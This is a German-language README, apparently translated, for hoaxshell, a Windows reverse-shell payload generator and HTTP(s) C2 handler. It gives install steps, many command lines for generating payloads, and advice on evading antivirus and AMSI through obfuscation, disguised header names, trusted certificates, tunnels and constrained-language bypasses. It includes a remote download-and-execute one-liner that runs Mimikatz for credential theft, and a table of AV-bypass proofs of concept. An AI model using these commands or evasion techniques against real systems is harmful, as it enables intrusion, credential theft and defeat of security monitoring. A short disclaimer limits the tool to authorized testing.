
Ein Windows-Reverse-Shell-Payload-Generator und -Handler, der das HTTP(s)-Protokoll missbraucht, um eine beacon-ähnliche Reverse-Shell herzustellen.
⚠️ Seit dem 18.10.2022 wird hoaxshell von AMSI erkannt (Malware-Enzyklopädie). Du musst den generierten Payload obfuscieren, um ihn verwenden zu können. Schau dir dieses Video an, wie man manuell obfusciert und MS Defender umgeht:
hoaxshell ist ein Generator und Handler für Windows Reverse Shell Payloads, der das http(s)-Protokoll missbraucht, um eine beacon-ähnliche Reverse Shell einzurichten, basierend auf dem folgenden Konzept:

Dieses C2-Konzept (das mit anderen Protokollen als http oder vorinstallierten Exes implementiert werden könnte) kann verwendet werden, um Sitzungen einzurichten, die die Illusion einer Shell fördern, aber weit von einer echten pty entfernt sind.
HoaxShell schnitt gut gegen AV-Software ab (siehe Tabelle der AV-Bypass-PoCs für weitere Informationen). Obwohl es jetzt allgemein erkannt wird, ist es einfach, die generierten Payload(s) mit automatisierten Tools oder manuell zu obfuscieren.
Haftungsausschluss: Rein für Test- und Bildungszwecke erstellt. Führe die von diesem Tool generierten Payloads NICHT gegen Hosts aus, für die du keine ausdrückliche Erlaubnis und Autorisierung zum Testen hast. Du bist für alle Probleme verantwortlich, die durch die Nutzung dieses Tools entstehen können.
[2022-10-11] Aktuell & großartig, erstellt von John Hammond -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] Original Release Demo, erstellt von mir -> youtube.com/watch?v=SEufgD5UxdU

Weitere Screenshots findest du hier.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
Wichtig: Um einer Erkennung zu entgehen, generiert hoaxshell automatisch zufällige Werte für die Sitzungs-ID, URL-Pfade und den Namen eines benutzerdefinierten HTTP-Headers, der im Prozess verwendet wird, jedes Mal, wenn das Skript gestartet wird. Der generierte Payload funktioniert nur für die Instanz, für die er generiert wurde. Verwende die Option -g, um dieses Verhalten zu umgehen und eine aktive Sitzung wiederherzustellen oder einen früher generierten Payload mit einer neuen Instanz von hoaxshell wiederzuverwenden.
Wenn du hoaxshell ausführst, wird es seinen eigenen PowerShell-Payload generieren, den du kopieren und auf dem Opfer injizieren kannst. Standardmäßig ist der Payload zur Bequemlichkeit base64-kodiert. Wenn du den rohen Payload benötigst, führe den Prompt-Befehl "rawpayload" aus oder starte hoaxshell mit dem Argument -r. Nachdem der Payload auf dem Opfer ausgeführt wurde, kannst du PowerShell-Befehle dagegen ausführen.
Invoke-Expression verwendet (Standard)sudo python3 hoaxshell.py -s <your_ip>
Verwende -x, um einen .ps1-Dateinamen (absoluten Pfad) anzugeben, der auf dem Opfer-Rechner erstellt werden soll. Du solltest den rohen Payload vor der Ausführung überprüfen, um sicherzustellen, dass der von dir angegebene Pfad gültig ist.
sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Hoaxshell verwendet einen HTTP-Header, um Shell-Sitzungsinformationen zu übertragen. Standardmäßig wird dem Header ein zufälliger Name gegeben, der von regex-basierten AV-Regeln erkannt werden kann. Verwende -H, um einen Standard- oder benutzerdefinierten HTTP-Header-Namen anzugeben, um Erkennung zu vermeiden.
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Dieser spezielle Payload ist eine Art Alarmglocke, da er mit einem zusätzlichen Codeblock beginnt, der PowerShell anweist, SSL-Zertifikatsprüfungen zu überspringen, was ihn verdächtig und leicht erkennbar macht, sowie deutlich länger in der Länge. Nicht empfohlen.
# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>
Wenn du eine Domain besitzt, verwende diese Option, um einen kürzeren und weniger erkennbaren https-Payload zu generieren, indem du deinen DN mit -s zusammen mit einem vertrauenswürdigen Zertifikat (-c cert.pem -k privkey.pem) angibst.
sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>
Falls du dein Terminal versehentlich schließt, einen Stromausfall oder ähnliches hast, kannst du hoaxshell im Grab-Sitzungsmodus starten; es wird versuchen, eine Sitzung wiederherzustellen, vorausgesetzt, der Payload läuft noch auf dem Opfer-Rechner.
sudo python3 hoaxshell.py -s <your_ip> -g
Wichtig: Stelle sicher, dass du hoaxshell mit denselben Einstellungen startest wie die Sitzung, die du wiederherstellen möchtest (http/https, Port usw.).
Verwende eine der Payload-Varianten mit der Option -cm (--constraint-mode), um einen Payload zu generieren, der funktioniert, selbst wenn das Opfer so konfiguriert ist, dass es PowerShell im Constraint Language Mode ausführt. Durch die Verwendung dieser Option opferst du ein wenig die Genauigkeit der stdout-Dekodierung deiner Reverse Shell.
sudo python3 hoaxshell.py -s <your_ip> -cm

Nutze Tunnel-Programme Ngrok oder LocalTunnel, um Sitzungen durch sichere Tunnel zu erhalten und Probleme wie das Fehlen einer statischen IP-Adresse oder das Verbot von Port-Forwarding durch deinen ISP zu umgehen.
Verwende -ng oder --ngrok für Ngrok-Server
sudo python3 hoaxshell.py -ng
Verwende -lt oder --localtunnel für LocalTunnel-Server
sudo python3 hoaxshell.py -lt
Die Shell wird hängen bleiben, wenn du einen Befehl ausführst, der eine interaktive Sitzung startet. Beispiel:
# this command will execute succesfully and you will have no problem:
> powershell echo 'This is a test'
# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell
# In the same manner, you won't have a problem executing this:
> cmd /c dir /a
# But this will cause your hoaxshell to hang:
> cmd.exe
Wenn du also zum Beispiel mimikatz über hoaxshell ausführen möchtest, müsstest du die Befehle aufrufen:
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'
Kurz gesagt, du musst vorsichtig sein, kein Exe oder cmd auszuführen, das eine interaktive Sitzung im hoaxshell-PowerShell-Kontext startet.
Einige großartige Leute waren so freundlich, mir PoC-Videos zu senden/zu veröffentlichen, in denen hoaxshell-Payloads gegen Systeme mit anderen AV-Lösungen als MS Defender ausgeführt wurden, ohne erkannt zu werden. Unten ist eine Referenztabelle mit Links:
Wichtig: Ich weiß nicht, ob du hoaxshell noch effektiv nutzen kannst, um diese Lösungen zu umgehen. Es ist nur vernünftig anzunehmen, dass die Erkennbarkeit sich bald ändern wird (falls nicht bereits geschehen).
13.10.2022 - Unterstützung für den Constraint Language Mode (-cm) hinzugefügt.08.10.2022 - Die Optionen -ng und -lt hinzugefügt, die PS-Payloads für Sitzungen mit Tunnel-Tools ngrok oder localtunnel generieren, um Einschränkungen wie statische IP-Adressen und Port-Forwarding zu umgehen.06.09.2022 - Ein neuer Payload wurde hinzugefügt, der die auszuführenden Befehle in eine Datei schreibt, anstatt Invoke-Expression zu verwenden. Dazu muss der Benutzer mit der Option -x einen .ps1-Dateinamen (absoluten Pfad) auf dem Opfer-Rechner angeben.04.09.2022 - Änderungen wurden vorgenommen, um den Befehlsübermittlungsmechanismus zu verbessern, da er Komponenten enthielt, die leicht gekennzeichnet werden konnten. Die Option -t zusammen mit https_payload_trusted.ps1 wurde hinzugefügt. Du kannst hoaxshell jetzt mit einem Domainnamen und einem vertrauenswürdigen Zertifikat verwenden. Dadurch wird ein kürzerer und weniger erkennbarer https-Payload generiert.01.09.2022 - Die Option hinzugefügt, die es Benutzern ermöglicht, einen benutzerdefinierten Namen für den (standardmäßig zufälligen) Header zu vergeben, der im Angriffsprozess verwendet wird und die Sitzungs-ID der Shell trägt. Dies macht den Angriff weniger erkennbar, z. B. durch Verwendung eines Standard-Header-Namens wie "Authorization".| AV-Lösung | Datum | PoC |
|---|
| SentinelOne | 2022-10-18 | https://twitter.com/i/status/1582137400880336896 |
| Norton | 2022-10-17 | https://twitter.com/i/status/1582278579244929024 |
| Bitdefender | 2022-10-15 | https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop |
| McAfee | 2022-10-15 | https://twitter.com/i/status/1581605531365814273 |
| Kaspersky | 2022-10-13 | https://www.youtube.com/watch?v=IyMH_eCC4Rk |
| Sophos | 2022-09-08 | https://www.youtube.com/watch?v=NYR0rWx4x8k |
-H31.08.2022 - Die Option -i hinzugefügt, die den PS-Payload so anpasst, dass er "Invoke-RestMethod" anstelle von "Invoke-WebRequest" verwendet (dank dieses Issues). Ich habe auch einen Fehler im Prompt behoben (er hat manchmal den Pfad durcheinandergebracht).